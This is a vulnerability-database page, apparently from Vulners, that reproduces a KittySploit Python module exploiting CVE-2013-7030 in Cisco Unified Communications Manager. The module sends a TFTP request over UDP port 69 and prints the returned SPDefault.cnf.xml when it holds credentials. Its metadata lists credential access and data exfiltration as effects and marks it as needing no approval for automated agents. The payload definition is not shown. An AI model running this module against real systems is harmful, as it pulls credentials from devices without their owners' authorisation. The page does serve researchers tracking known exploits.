Lucene search
+L

Cisco UCM Info Disclosure

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated info disclosure in Cisco UCM via TFTP service reads sensitive credentials.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2013-7030
12 Dec 201317:55
–attackerkb
circl
Circl
CVE-2013-7030
12 Dec 201300:00
–circl
cve
CVE
CVE-2013-7030
12 Dec 201317:00
–cve
cvelist
Cvelist
CVE-2013-7030
12 Dec 201317:00
–cvelist
exploitdb
Exploit DB
Cisco Unified Communications Manager - TFTP Service
12 Dec 201300:00
–exploitdb
nvd
NVD
CVE-2013-7030
12 Dec 201317:55
–nvd
prion
Prion
Design/Logic Flaw
12 Dec 201317:55
–prion
ptsecurity
Positive Technologies
PT-2013-6248 · Cisco · Cisco Unified Communications Manager
12 Dec 201300:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2013-7030: Undefined Security Weakness
12 Dec 201300:00
–rapid7
vulnrichment
Vulnrichment
CVE-2013-7030
12 Dec 201317:00
–vulnrichment
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco UCM Info Disclosure"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Cisco UCM Info Disclosure',
        'description': 'Module exploits information disclosure vulnerability in Cisco UCM devices. If the target is vulnerable it is possible to read sensitive information through TFTP service.',
        'author': ['Daniel Svartman <[email protected]', 'Marcin Bury'],
        'cve': ['CVE-2013-7030'],
        'platform': Platform.LINUX,
        'references': ['https://www.exploit-db.com/exploits/30237/', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7030'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'cve-2013-7030', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(69, "Target port")

    def run(self):
        print_status("Sending payload")
        udp_client = _udp_socket(self)
        udp_client.send(self.payload)

        response = udp_client.recv(2048)

        if response and len(response):
            if b"UseUserCredential" in response:
                print_success("Exploit success - file {}".format("SPDefault.cnf.xml"))
                print_info(response)
            else:
                print_error("Exploit failed - credentials not found in response")
        else:
            print_error("Exploit failed - empty response")
    def check(self):
        udp_client = _udp_socket(self)
        udp_client.send(self.payload)

        response = udp_client.recv(2048)

        if response and len(response) and b"UseUserCredential" in response:
            return True  # target is vulnerable

        return False  # target is not vulnerable

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.7Medium risk
Vulners AI Score5.7
CVSS 25
CVSS 3.17.3
EPSS0.0517
SSVC
0